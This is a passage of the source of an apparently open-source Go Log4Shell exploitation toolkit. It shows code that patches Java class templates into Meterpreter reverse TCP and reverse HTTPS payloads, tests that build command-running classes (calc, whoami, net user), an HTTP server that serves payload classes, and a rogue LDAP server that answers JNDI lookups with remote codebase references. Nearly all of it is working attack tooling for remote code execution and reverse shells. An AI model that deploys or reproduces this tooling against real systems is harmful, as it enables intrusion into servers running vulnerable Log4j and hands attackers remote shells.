-1 { 167 | return nil, errors.New("failed to find file name in reverse_tcp template") 168 | } 169 | hostIdx := bytes.Index(template, []byte(hostFlag)) 170 | if hostIdx == -1 { 171 | return nil, errors.New("failed to find host flag in reverse_tcp template") 172 | } 173 | portIdx := bytes.Index(template, []byte(portFlag)) 174 | if portIdx == -1 { 175 | return nil, errors.New("failed to find port flag in reverse_tcp template") 176 | } 177 | tokenIdx := bytes.Index(template, []byte(tokenFlag)) 178 | if tokenIdx == -1 { 179 | return nil, errors.New("failed to find token flag in reverse_tcp template") 180 | } 181 | classNameIdx := bytes.Index(template, []byte(className)) 182 | if classNameIdx == -1 { 183 | return nil, errors.New("failed to find class name in reverse_tcp template") 184 | } 185 | 186 | // check arguments 187 | if host == "" { 188 | return nil, errors.New("empty host") 189 | } 190 | if port == 0 { 191 | return nil, errors.New("zero port") 192 | } 193 | if token == "" { 194 | token = randString(8) 195 | } 196 | if class == "" { 197 | class = "ReverseTCP" 198 | } 199 | 200 | // generate output class file 201 | output := bytes.NewBuffer(make([]byte, 0, len(template)+128)) 202 | 203 | // change file name 204 | output.Write(template[:fileNameIdx-uint16Size]) 205 | newFileName := class + ".java" 206 | size := beUint16ToBytes(uint16(len(newFileName))) 207 | output.Write(size) 208 | output.WriteString(newFileName) 209 | 210 | // change host 211 | output.Write(template[fileNameIdx+len(fileName) : hostIdx-uint16Size]) 212 | size = beUint16ToBytes(uint16(len(host))) 213 | output.Write(size) 214 | output.WriteString(host) 215 | 216 | // change port 217 | output.Write(template[hostIdx+len(hostFlag) : portIdx-uint16Size]) 218 | portStr := strconv.FormatUint(uint64(port), 10) 219 | size = beUint16ToBytes(uint16(len(portStr))) 220 | output.Write(size) 221 | output.WriteString(portStr) 222 | 223 | // change token(random) 224 | output.Write(template[portIdx+len(portFlag) : tokenIdx-uint16Size]) 225 | size = beUint16ToBytes(uint16(len(token))) 226 | output.Write(size) 227 | output.WriteString(token) 228 | 229 | // change class name 230 | output.Write(template[tokenIdx+len(tokenFlag) : classNameIdx-uint16Size]) 231 | size = beUint16ToBytes(uint16(len(class))) 232 | output.Write(size) 233 | output.WriteString(class) 234 | 235 | output.Write(template[classNameIdx+len(className)-1:]) 236 | return output.Bytes(), nil 237 | } 238 | 239 | // GenerateReverseHTTPS is used to generate class file for meterpreter 240 | // payload/java/meterpreter/reverse_https. 241 | func GenerateReverseHTTPS(template []byte, host string, port uint16, uri, ua, token, class string) ([]byte, error) { 242 | const ( 243 | fileName = "ReverseHTTPS.java" 244 | urlFlag = "${url}" 245 | uaFlag = "${ua}" 246 | tokenFlag = "${token}" 247 | className = "ReverseHTTPS\x0C" 248 | uint16Size = 2 249 | ) 250 | 251 | // the last handler in the url, can not change it 252 | const magic = "0YjdeS7_m93CecZoo8Ntkgs8lRd8_P50Ud2378Ggsvu0FX3VfHF2jbRAQxf" + 253 | "Uk1UkljsZ0Pwz-_bPfTMmytR-fhVGYvyEm-bPNat3i0XRJnm5oH76MBegc7AG3hEe1J1W" + 254 | "G3PDvddN5Id06qqBQR9lZAkJNzFB6VPRJmbsvp_LKp3JDg70FrOcjczkGSRbeht14__lN" 255 | 256 | err := checkJavaClass(template) 257 | if err != nil { 258 | return nil, err 259 | } 260 | 261 | // find three special strings 262 | fileNameIdx := bytes.Index(template, []byte(fileName)) 263 | if fileNameIdx == -1 { 264 | return nil, errors.New("failed to find file name in reverse_https template") 265 | } 266 | urlIdx := bytes.Index(template, []byte(urlFlag)) 267 | if urlIdx == -1 { 268 | return nil, errors.New("failed to find url flag in reverse_https template") 269 | } 270 | uaIdx := bytes.Index(template, []byte(uaFlag)) 271 | if uaIdx == -1 { 272 | return nil, errors.New("failed to find ua flag in reverse_https template") 273 | } 274 | tokenIdx := bytes.Index(template, []byte(tokenFlag)) 275 | if tokenIdx == -1 { 276 | return nil, errors.New("failed to find token flag in reverse_https template") 277 | } 278 | classNameIdx := bytes.Index(template, []byte(className)) 279 | if classNameIdx == -1 { 280 | return nil, errors.New("failed to find class name in reverse_https template") 281 | } 282 | 283 | // check arguments 284 | if host == "" { 285 | return nil, errors.New("empty host") 286 | } 287 | if port == 0 { 288 | return nil, errors.New("zero port") 289 | } 290 | if uri != "" { 291 | uri = uri + "/" 292 | } 293 | if ua == "" { 294 | ua = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 295 | } 296 | if token == "" { 297 | token = randString(8) 298 | } 299 | if class == "" { 300 | class = "ReverseHTTPS" 301 | } 302 | 303 | // generate output class file 304 | output := bytes.NewBuffer(make([]byte, 0, len(template)+512)) 305 | 306 | // change file name 307 | output.Write(template[:fileNameIdx-uint16Size]) 308 | newFileName := class + ".java" 309 | size := beUint16ToBytes(uint16(len(newFileName))) 310 | output.Write(size) 311 | output.WriteString(newFileName) 312 | 313 | // change url 314 | url := fmt.Sprintf("https://%s:%d/%s"+magic, host, port, uri) 315 | output.Write(template[fileNameIdx+len(fileName) : urlIdx-uint16Size]) 316 | size = beUint16ToBytes(uint16(len(url))) 317 | output.Write(size) 318 | output.WriteString(url) 319 | 320 | // change user agent 321 | output.Write(template[urlIdx+len(urlFlag) : uaIdx-uint16Size]) 322 | size = beUint16ToBytes(uint16(len(ua))) 323 | output.Write(size) 324 | output.WriteString(ua) 325 | 326 | // change token(random) 327 | output.Write(template[uaIdx+len(uaFlag) : tokenIdx-uint16Size]) 328 | size = beUint16ToBytes(uint16(len(token))) 329 | output.Write(size) 330 | output.WriteString(token) 331 | 332 | // change class name 333 | output.Write(template[tokenIdx+len(tokenFlag) : classNameIdx-uint16Size]) 334 | size = beUint16ToBytes(uint16(len(class))) 335 | output.Write(size) 336 | output.WriteString(class) 337 | 338 | output.Write(template[classNameIdx+len(className)-1:]) 339 | return output.Bytes(), nil 340 | } 341 | 342 | func checkJavaClass(template []byte) error { 343 | if len(template) < 4 { 344 | return errors.New("invalid Java class template file size") 345 | } 346 | if !bytes.Equal(template[:2], []byte{0xCA, 0xFE}) { 347 | return errors.New("invalid Java class template file") 348 | } 349 | return nil 350 | } 351 | 352 | func beUint16ToBytes(n uint16) []byte { 353 | b := make([]byte, 2) 354 | binary.BigEndian.PutUint16(b, n) 355 | return b 356 | } 357 | -------------------------------------------------------------------------------- /generator_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "os" 7 | "testing" 8 | 9 | "github.com/davecgh/go-spew/spew" 10 | "github.com/stretchr/testify/require" 11 | ) 12 | 13 | func TestGenerateExecute(t *testing.T) { 14 | template, err := os.ReadFile("testdata/template/Execute.class") 15 | require.NoError(t, err) 16 | spew.Dump(template) 17 | 18 | t.Run("common", func(t *testing.T) { 19 | class, err := GenerateExecute(template, "whoami", "Test") 20 | require.NoError(t, err) 21 | spew.Dump(class) 22 | }) 23 | 24 | t.Run("default class", func(t *testing.T) { 25 | class, err := GenerateExecute(template, "${cmd}", "") 26 | require.NoError(t, err) 27 | spew.Dump(class) 28 | 29 | require.Equal(t, template, class) 30 | }) 31 | 32 | t.Run("compare with Calc", func(t *testing.T) { 33 | class, err := GenerateExecute(template, "calc", "Calc") 34 | require.NoError(t, err) 35 | spew.Dump(class) 36 | 37 | expected, err := os.ReadFile("testdata/template/compare/Calc.class") 38 | require.NoError(t, err) 39 | require.Equal(t, expected, class) 40 | }) 41 | 42 | t.Run("compare with Notepad", func(t *testing.T) { 43 | class, err := GenerateExecute(template, "notepad", "Notepad") 44 | require.NoError(t, err) 45 | spew.Dump(class) 46 | 47 | expected, err := os.ReadFile("testdata/template/compare/Notepad.class") 48 | require.NoError(t, err) 49 | require.Equal(t, expected, class) 50 | }) 51 | 52 | t.Run("invalid template", func(t *testing.T) { 53 | t.Run("invalid size", func(t *testing.T) { 54 | class, err := GenerateExecute(nil, "", "") 55 | require.EqualError(t, err, "invalid Java class template file size") 56 | require.Zero(t, class) 57 | }) 58 | 59 | t.Run("invalid data", func(t *testing.T) { 60 | class, err := GenerateExecute(bytes.Repeat([]byte{0x00}, 8), "", "") 61 | require.EqualError(t, err, "invalid Java class template file") 62 | require.Zero(t, class) 63 | }) 64 | }) 65 | 66 | t.Run("empty command", func(t *testing.T) { 67 | class, err := GenerateExecute(template, "", "Test") 68 | require.EqualError(t, err, "empty command") 69 | require.Zero(t, class) 70 | }) 71 | } 72 | 73 | func TestGenerateSystem(t *testing.T) { 74 | template, err := os.ReadFile("testdata/template/System.class") 75 | require.NoError(t, err) 76 | spew.Dump(template) 77 | 78 | t.Run("common", func(t *testing.T) { 79 | class, err := GenerateSystem(template, "cmd", "/c whoami", "Test") 80 | require.NoError(t, err) 81 | spew.Dump(class) 82 | }) 83 | 84 | t.Run("default class", func(t *testing.T) { 85 | class, err := GenerateSystem(template, "${bin}", "${args}", "") 86 | require.NoError(t, err) 87 | spew.Dump(class) 88 | 89 | require.Equal(t, template, class) 90 | }) 91 | 92 | t.Run("compare", func(t *testing.T) { 93 | class, err := GenerateSystem(template, "cmd", "/c net user", "NetUser") 94 | require.NoError(t, err) 95 | spew.Dump(class) 96 | 97 | expected, err := os.ReadFile("testdata/template/compare/NetUser.class") 98 | require.NoError(t, err) 99 | require.Equal(t, expected, class) 100 | }) 101 | 102 | t.Run("invalid template", func(t *testing.T) { 103 | t.Run("invalid size", func(t *testing.T) { 104 | class, err := GenerateSystem(nil, "", "", "") 105 | require.EqualError(t, err, "invalid Java class template file size") 106 | require.Zero(t, class) 107 | }) 108 | 109 | t.Run("invalid data", func(t *testing.T) { 110 | class, err := GenerateSystem(bytes.Repeat([]byte{0x00}, 8), "", "", "") 111 | require.EqualError(t, err, "invalid Java class template file") 112 | require.Zero(t, class) 113 | }) 114 | }) 115 | 116 | t.Run("empty binary", func(t *testing.T) { 117 | class, err := GenerateSystem(template, "", "", "Test") 118 | require.EqualError(t, err, "empty binary") 119 | require.Zero(t, class) 120 | }) 121 | } 122 | 123 | func TestGenerateReverseTCP(t *testing.T) { 124 | template, err := os.ReadFile("testdata/template/ReverseTCP.class") 125 | require.NoError(t, err) 126 | spew.Dump(template) 127 | 128 | t.Run("common", func(t *testing.T) { 129 | class, err := GenerateReverseTCP(template, "127.0.0.1", 9979, "", "Test") 130 | require.NoError(t, err) 131 | spew.Dump(class) 132 | }) 133 | 134 | t.Run("default class", func(t *testing.T) { 135 | class, err := GenerateReverseTCP(template, "127.0.0.1", 9979, "test", "") 136 | require.NoError(t, err) 137 | spew.Dump(class) 138 | }) 139 | 140 | t.Run("compare", func(t *testing.T) { 141 | class, err := GenerateReverseTCP(template, "127.0.0.1", 9979, "test", "ReTCP") 142 | require.NoError(t, err) 143 | spew.Dump(class) 144 | 145 | expected, err := os.ReadFile("testdata/template/compare/ReTCP.class") 146 | require.NoError(t, err) 147 | require.Equal(t, expected, class) 148 | }) 149 | 150 | t.Run("invalid template", func(t *testing.T) { 151 | t.Run("invalid size", func(t *testing.T) { 152 | class, err := GenerateReverseTCP(nil, "", 0, "", "") 153 | require.EqualError(t, err, "invalid Java class template file size") 154 | require.Zero(t, class) 155 | }) 156 | 157 | t.Run("invalid data", func(t *testing.T) { 158 | class, err := GenerateReverseTCP(bytes.Repeat([]byte{0x00}, 8), "", 0, "", "") 159 | require.EqualError(t, err, "invalid Java class template file") 160 | require.Zero(t, class) 161 | }) 162 | }) 163 | 164 | t.Run("empty host", func(t *testing.T) { 165 | class, err := GenerateReverseTCP(template, "", 1234, "", "") 166 | require.EqualError(t, err, "empty host") 167 | require.Zero(t, class) 168 | }) 169 | 170 | t.Run("zero port", func(t *testing.T) { 171 | class, err := GenerateReverseTCP(template, "127.0.0.1", 0, "", "") 172 | require.EqualError(t, err, "zero port") 173 | require.Zero(t, class) 174 | }) 175 | } 176 | 177 | func TestGenerateReverseHTTPS(t *testing.T) { 178 | template, err := os.ReadFile("testdata/template/ReverseHTTPS.class") 179 | require.NoError(t, err) 180 | spew.Dump(template) 181 | 182 | t.Run("common", func(t *testing.T) { 183 | class, err := GenerateReverseHTTPS(template, "127.0.0.1", 8443, "test", "", "", "Test") 184 | require.NoError(t, err) 185 | spew.Dump(class) 186 | }) 187 | 188 | t.Run("default class", func(t *testing.T) { 189 | class, err := GenerateReverseHTTPS(template, "127.0.0.1", 8443, "test", "", "", "") 190 | require.NoError(t, err) 191 | spew.Dump(class) 192 | }) 193 | 194 | t.Run("compare", func(t *testing.T) { 195 | class, err := GenerateReverseHTTPS(template, "127.0.0.1", 8443, "test", "", "test", "ReHTTPS") 196 | require.NoError(t, err) 197 | spew.Dump(class) 198 | 199 | expected, err := os.ReadFile("testdata/template/compare/ReHTTPS.class") 200 | require.NoError(t, err) 201 | require.Equal(t, expected, class) 202 | }) 203 | 204 | t.Run("invalid template", func(t *testing.T) { 205 | t.Run("invalid size", func(t *testing.T) { 206 | class, err := GenerateReverseHTTPS(nil, "", 0, "", "", "", "") 207 | require.EqualError(t, err, "invalid Java class template file size") 208 | require.Zero(t, class) 209 | }) 210 | 211 | t.Run("invalid data", func(t *testing.T) { 212 | class, err := GenerateReverseHTTPS(bytes.Repeat([]byte{0x00}, 8), "", 0, "", "", "", "") 213 | require.EqualError(t, err, "invalid Java class template file") 214 | require.Zero(t, class) 215 | }) 216 | }) 217 | 218 | t.Run("empty host", func(t *testing.T) { 219 | class, err := GenerateReverseHTTPS(template, "", 1234, "", "", "", "") 220 | require.EqualError(t, err, "empty host") 221 | require.Zero(t, class) 222 | }) 223 | 224 | t.Run("zero port", func(t *testing.T) { 225 | class, err := GenerateReverseHTTPS(template, "127.0.0.1", 0, "", "", "", "") 226 | require.EqualError(t, err, "zero port") 227 | require.Zero(t, class) 228 | }) 229 | } 230 | 231 | func TestGenerateReverseTCP_Fake(t *testing.T) { 232 | t.Run("template", func(t *testing.T) { 233 | const ( 234 | fileName = "ReverseTCP.java" 235 | hostFlag = "${host}" 236 | portFlag = "${port}" 237 | tokenFlag = "${token}" 238 | className = "ReverseTCP\x0C" 239 | ) 240 | 241 | buf := bytes.NewBuffer(make([]byte, 0, 128)) 242 | buf.Write([]byte{0xCA, 0xFE}) 243 | buf.Write([]byte{0x00, 0x00}) 244 | 245 | size := make([]byte, 2) 246 | 247 | binary.BigEndian.PutUint16(size, uint16(len(fileName))) 248 | buf.Write(size) 249 | buf.WriteString(fileName) 250 | buf.Write([]byte{0x00, 0x00}) 251 | 252 | binary.BigEndian.PutUint16(size, uint16(len(hostFlag))) 253 | buf.Write(size) 254 | buf.WriteString(hostFlag) 255 | buf.Write([]byte{0x00, 0x00}) 256 | 257 | binary.BigEndian.PutUint16(size, uint16(len(portFlag))) 258 | buf.Write(size) 259 | buf.WriteString(portFlag) 260 | buf.Write([]byte{0x00, 0x00}) 261 | 262 | binary.BigEndian.PutUint16(size, uint16(len(tokenFlag))) 263 | buf.Write(size) 264 | buf.WriteString(tokenFlag) 265 | buf.Write([]byte{0x00, 0x00}) 266 | 267 | binary.BigEndian.PutUint16(size, uint16(len(className))) 268 | buf.Write(size) 269 | buf.WriteString(className) 270 | buf.Write([]byte{0x00, 0x00}) 271 | 272 | err := os.WriteFile("testdata/template/ReverseTCP.class", buf.Bytes(), 0600) 273 | require.NoError(t, err) 274 | }) 275 | 276 | t.Run("compare", func(t *testing.T) { 277 | const ( 278 | fileName = "ReTCP.java" 279 | host = "127.0.0.1" 280 | port = "9979" 281 | token = "test" 282 | className = "ReTCP\x0C" 283 | ) 284 | 285 | buf := bytes.NewBuffer(make([]byte, 0, 128)) 286 | buf.Write([]byte{0xCA, 0xFE}) 287 | buf.Write([]byte{0x00, 0x00}) 288 | 289 | size := make([]byte, 2) 290 | 291 | binary.BigEndian.PutUint16(size, uint16(len(fileName))) 292 | buf.Write(size) 293 | buf.WriteString(fileName) 294 | buf.Write([]byte{0x00, 0x00}) 295 | 296 | binary.BigEndian.PutUint16(size, uint16(len(host))) 297 | buf.Write(size) 298 | buf.WriteString(host) 299 | buf.Write([]byte{0x00, 0x00}) 300 | 301 | binary.BigEndian.PutUint16(size, uint16(len(port))) 302 | buf.Write(size) 303 | buf.WriteString(port) 304 | buf.Write([]byte{0x00, 0x00}) 305 | 306 | binary.BigEndian.PutUint16(size, uint16(len(token))) 307 | buf.Write(size) 308 | buf.WriteString(token) 309 | buf.Write([]byte{0x00, 0x00}) 310 | 311 | binary.BigEndian.PutUint16(size, uint16(len(className)-1)) 312 | buf.Write(size) 313 | buf.WriteString(className) 314 | buf.Write([]byte{0x00, 0x00}) 315 | 316 | err := os.WriteFile("testdata/template/compare/ReTCP.class", buf.Bytes(), 0600) 317 | require.NoError(t, err) 318 | }) 319 | } 320 | 321 | func TestGenerateReverseHTTPS_Fake(t *testing.T) { 322 | t.Run("template", func(t *testing.T) { 323 | const ( 324 | fileName = "ReverseHTTPS.java" 325 | urlFlag = "${url}" 326 | uaFlag = "${ua}" 327 | tokenFlag = "${token}" 328 | className = "ReverseHTTPS\x0C" 329 | ) 330 | 331 | buf := bytes.NewBuffer(make([]byte, 0, 128)) 332 | buf.Write([]byte{0xCA, 0xFE}) 333 | buf.Write([]byte{0x00, 0x00}) 334 | 335 | size := make([]byte, 2) 336 | 337 | binary.BigEndian.PutUint16(size, uint16(len(fileName))) 338 | buf.Write(size) 339 | buf.WriteString(fileName) 340 | buf.Write([]byte{0x00, 0x00}) 341 | 342 | binary.BigEndian.PutUint16(size, uint16(len(urlFlag))) 343 | buf.Write(size) 344 | buf.WriteString(urlFlag) 345 | buf.Write([]byte{0x00, 0x00}) 346 | 347 | binary.BigEndian.PutUint16(size, uint16(len(uaFlag))) 348 | buf.Write(size) 349 | buf.WriteString(uaFlag) 350 | buf.Write([]byte{0x00, 0x00}) 351 | 352 | binary.BigEndian.PutUint16(size, uint16(len(tokenFlag))) 353 | buf.Write(size) 354 | buf.WriteString(tokenFlag) 355 | buf.Write([]byte{0x00, 0x00}) 356 | 357 | binary.BigEndian.PutUint16(size, uint16(len(className))) 358 | buf.Write(size) 359 | buf.WriteString(className) 360 | buf.Write([]byte{0x00, 0x00}) 361 | 362 | err := os.WriteFile("testdata/template/ReverseHTTPS.class", buf.Bytes(), 0600) 363 | require.NoError(t, err) 364 | }) 365 | 366 | t.Run("compare", func(t *testing.T) { 367 | const ( 368 | fileName = "ReHTTPS.java" 369 | url = "https://127.0.0.1:8443/test/" + 370 | "0YjdeS7_m93CecZoo8Ntkgs8lRd8_P50Ud2378Ggsvu0FX3VfHF2jbRAQxfUk1Uklj" + 371 | "sZ0Pwz-_bPfTMmytR-fhVGYvyEm-bPNat3i0XRJnm5oH76MBegc7AG3hEe1J1WG3PD" + 372 | "vddN5Id06qqBQR9lZAkJNzFB6VPRJmbsvp_LKp3JDg70FrOcjczkGSRbeht14__lN" 373 | ua = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 374 | token = "test" 375 | className = "ReHTTPS\x0C" 376 | ) 377 | 378 | buf := bytes.NewBuffer(make([]byte, 0, 128)) 379 | buf.Write([]byte{0xCA, 0xFE}) 380 | buf.Write([]byte{0x00, 0x00}) 381 | 382 | size := make([]byte, 2) 383 | 384 | binary.BigEndian.PutUint16(size, uint16(len(fileName))) 385 | buf.Write(size) 386 | buf.WriteString(fileName) 387 | buf.Write([]byte{0x00, 0x00}) 388 | 389 | binary.BigEndian.PutUint16(size, uint16(len(url))) 390 | buf.Write(size) 391 | buf.WriteString(url) 392 | buf.Write([]byte{0x00, 0x00}) 393 | 394 | binary.BigEndian.PutUint16(size, uint16(len(ua))) 395 | buf.Write(size) 396 | buf.WriteString(ua) 397 | buf.Write([]byte{0x00, 0x00}) 398 | 399 | binary.BigEndian.PutUint16(size, uint16(len(token))) 400 | buf.Write(size) 401 | buf.WriteString(token) 402 | buf.Write([]byte{0x00, 0x00}) 403 | 404 | binary.BigEndian.PutUint16(size, uint16(len(className)-1)) 405 | buf.Write(size) 406 | buf.WriteString(className) 407 | buf.Write([]byte{0x00, 0x00}) 408 | 409 | err := os.WriteFile("testdata/template/compare/ReHTTPS.class", buf.Bytes(), 0600) 410 | require.NoError(t, err) 411 | }) 412 | } 413 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/For-ACGN/Log4Shell 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/davecgh/go-spew v1.1.1 7 | github.com/For-ACGN/ldapserver v1.0.3 8 | github.com/pkg/errors v0.9.1 9 | github.com/stretchr/testify v1.7.0 10 | 11 | github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 12 | golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 13 | ) 14 | 15 | require ( 16 | github.com/pmezard/go-difflib v1.0.0 // indirect 17 | golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2 // indirect 18 | golang.org/x/text v0.3.6 // indirect 19 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect 20 | ) 21 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/For-ACGN/ldapserver v1.0.3 h1:MJBxjBNGK0QwnHvUAR3njpiVlqqqgmLEZPfe0ze22h0= 2 | github.com/For-ACGN/ldapserver v1.0.3/go.mod h1:CyMXeyg387oRKs9yLWKkPqcfz2nkCzTrHl7b0i4vzBE= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 5 | github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3 h1:wIONC+HMNRqmWBjuMxhatuSzHaljStc4gjDeKycxy0A= 6 | github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0= 7 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 8 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 9 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 10 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 11 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 12 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 13 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 14 | golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 h1:0es+/5331RGQPcXlMfP+WrnIIS6dNnNRe0WB02W0F4M= 15 | golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= 16 | golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2 h1:CIJ76btIcR3eFI5EgSo6k1qKw9KJexJuRLI9G7Hp5wE= 17 | golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 18 | golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M= 19 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 20 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 21 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 22 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 23 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 24 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 25 | -------------------------------------------------------------------------------- /http.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | "os" 7 | "path/filepath" 8 | "strings" 9 | ) 10 | 11 | type httpHandler struct { 12 | logger *log.Logger 13 | 14 | payloadDir string 15 | secret string 16 | } 17 | 18 | func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 19 | h.logger.Printf("[info] http client %s request %s", r.RemoteAddr, r.RequestURI) 20 | 21 | var success bool 22 | defer func() { 23 | if !success { 24 | w.WriteHeader(http.StatusNotFound) 25 | } 26 | }() 27 | 28 | // check url structure(/secret/Calc.class) 29 | sections := strings.SplitN(r.RequestURI, "/", 3) 30 | if len(sections) < 3 { 31 | h.logger.Println("[error]", "invalid request url structure:", r.RequestURI) 32 | return 33 | } 34 | 35 | // skip first section and compare secret 36 | if sections[0] != "" || sections[1] != h.secret { 37 | h.logger.Println("[warning]", "invalid secret:", sections[1]) 38 | return 39 | } 40 | 41 | // prevent arbitrary file read 42 | path := sections[2] 43 | if strings.Contains(path, "../") || strings.Contains(path, "/..") { 44 | h.logger.Println("[warning]", "found slash in url:", r.RequestURI) 45 | return 46 | } 47 | path = filepath.Join(h.payloadDir, path) 48 | 49 | // read file and send to client 50 | class, err := os.ReadFile(path) 51 | if err != nil { 52 | h.logger.Println("[error]", "failed to read file:", err) 53 | return 54 | } 55 | success = true 56 | w.WriteHeader(http.StatusOK) 57 | _, err = w.Write(class) 58 | if err != nil { 59 | h.logger.Println("[error]", "failed to write class file:", err) 60 | return 61 | } 62 | h.logger.Printf("[exploit] http client %s download %s", r.RemoteAddr, path) 63 | } 64 | -------------------------------------------------------------------------------- /http_test.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | -------------------------------------------------------------------------------- /ldap.go: -------------------------------------------------------------------------------- 1 | package log4shell 2 | 3 | import ( 4 | "log" 5 | "os" 6 | "path/filepath" 7 | "strings" 8 | "sync" 9 | "time" 10 | 11 | "github.com/For-ACGN/ldapserver" 12 | "github.com/lor00x/goldap/message" 13 | ) 14 | 15 | // TokenExpireTime is used to prevent repeat execute payload. 16 | const TokenExpireTime = 20 // second 17 | 18 | type ldapHandler struct { 19 | logger *log.Logger 20 | 21 | payloadDir string 22 | codeBase string 23 | 24 | // tokens set is used to prevent repeat 25 | // execute payload when use obfuscate. 26 | // key is token, value is timestamp 27 | tokens map[string]int64 28 | tokensMu sync.Mutex 29 | } 30 | 31 | func (h *ldapHandler) handleBind(w ldapserver.ResponseWriter, _ *ldapserver.Message) { 32 | res := ldapserver.NewBindResponse(ldapserver.LDAPResultSuccess) 33 | w.Write(res) 34 | } 35 | 36 | func (h *ldapHandler) handleSearch(w ldapserver.ResponseWriter, m *ldapserver.Message) { 37 | addr := m.Client.Addr() 38 | req := m.GetSearchRequest() 39 | dn := string(req.BaseObject()) 40 | 41 | // check class name has token 42 | if strings.Contains(dn, "$") { 43 | // parse token 44 | sections := strings.SplitN(dn, "$", 2) 45 | class := sections[0] 46 | if class == "" { 47 | h.logger.Printf("[warning] %s search invalid java class \"%s\"", addr, dn) 48 | h.sendErrorResult(w) 49 | return 50 | } 51 | // check token is already exists 52 | token := sections[1] 53 | if token == "" { 54 | h.logger.Printf("[warning] %s search java class with invalid token \"%s\"", addr, dn) 55 | h.sendErrorResult(w) 56 | return 57 | } 58 | if !h.checkToken(token) { 59 | h.sendErrorResult(w) 60 | return 61 | } 62 | dn = class 63 | } 64 | 65 | h.logger.Printf("[exploit] %s search java class \"%s\"", addr, dn) 66 | 67 | // check class file is exists 68 | fi, err := os.Stat(filepath.Join(h.payloadDir, dn+".class")) 69 | if err != nil { 70 | h.logger.Printf("[error] %s failed to search java class \"%s\": %s", addr, dn, err) 71 | h.sendErrorResult(w) 72 | return 73 | } 74 | if fi.IsDir() { 75 | h.logger.Printf("[error] %s searched java class \"%s\" is a directory", addr, dn) 76 | h.sendErrorResult(w) 77 | return 78 | } 79 | 80 | // send search result 81 | res := ldapserver.NewSearchResultEntry(dn) 82 | res.AddAttribute("objectClass", "javaNamingReference") 83 | res.AddAttribute("javaClassName", message.AttributeValue(dn)) 84 | res.AddAttribute("javaFactory", message.AttributeValue(dn)) 85 | res.AddAttribute("javaCodebase", message.AttributeValue(h.codeBase)) 86 | w.Write(res) 87 | 88 | done := ldapserver.NewSearchResultDoneResponse(ldapserver.LDAPResultSuccess) 89 | w.Write(done) 90 | } 91 | 92 | func (h *ldapHandler) checkToken(token string) bool { 93 | h.tokensMu.Lock() 94 | defer h.tokensMu.Unlock() 95 | // clean token first 96 | now := time.Now().Unix() 97 | for key, timestamp := range h.tokens { 98 | delta := now - timestamp 99 | if delta > TokenExpireTime || delta < -TokenExpireTime { 100 | delete(h.tokens, key) 101 | } 102 | } 103 | // check token is already exists 104 | if _, ok := h.tokens[token]; ok { 105 | return false 106 | } 107 | h.tokens[token] = time.Now().Unix() 108 | return true 109 | } 110 | 111 | func (h *ldapHandler) sendErrorResult(w ldapserver.ResponseWriter) { 112 | done := 